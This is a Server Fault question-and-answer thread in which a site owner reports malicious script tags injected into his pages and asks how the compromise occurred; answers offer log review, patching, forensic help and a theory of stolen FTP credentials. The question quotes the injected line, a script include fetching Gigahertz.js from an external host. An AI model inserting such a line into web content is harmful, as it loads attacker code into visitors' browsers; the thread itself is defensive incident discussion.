Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

my site is tagged as dangerous by Google / StopBadware.org, and I found this in severals js/html files :

<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Gigahertz.js"></script>
<!--a0e2c33acd6c12bdc9e3f3ba50c98197-->

I cleaned severals files, I restore a backup but how to understand how the worm had been installed? What can I look for in log files? This server, a Centos 5, is only used as an apache server, with ours programs, a tikiwiki, a drupal installed.

Thanks
Cédric

share|improve this question

2 Answers 2

up vote 1 down vote accepted

Intrusion incident analysis is never easy, in particular if you haven't followed standard procedure for recovery (take physical server off-line, grab a sector image of all file systems it has access to, rebuild machine completely from install media, restore data).

Typically, you would review all the logs files fist, starting with the Apache logs. The most likely attack vector is, in your case, drupal but it's by no mean the only possible one so all logs should be checked (I mean ALL logs). Depending on the file system you're using, additional steps can be taken to identify what activity took place at the time of infection and figuring out both the attack vector used and what was done.

Meanwhile, check all the software your machine is running and make sure it's all up to date. That includes all your drupal modules, themes, etc. I'd also check any custom code with a comb.

Edit: I forgot to mention the fact that, in your case and since you apparently don't have the relevant expertise in house, you might want to consider contracting the incident to a security company that does forensic analysis: it might be a bit on the expensive side, but you'll get clear answers about what happened and how to prevent it.

share|improve this answer

We have this problem on our servers as well (started 11. june), with the worm injecting the exact same contents as you wrote above.

It looks like there's no connection with anything apache/php related; the worms simply connects via FTP and appends these script tags to *.php and *.html. There's no invalid passwords; they get it on the first try.

Because of this, I think it might be client-related. I think the clients have a virus that either listens for any FTP activity, or perhaps checks for any saved passwords in FileZilla. I'm not sure though, and will investigate this further. If you have any luck, please inform us via this thread.

Edit: FYI, our client didn't use Drupal. It was only Joomla, and some static HTML files.

share|improve this answer
    
I am looking through ftp log for brute force attack, but you are right, it had modified files via ftp. –  Cédric Girard Jun 15 '10 at 14:23

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.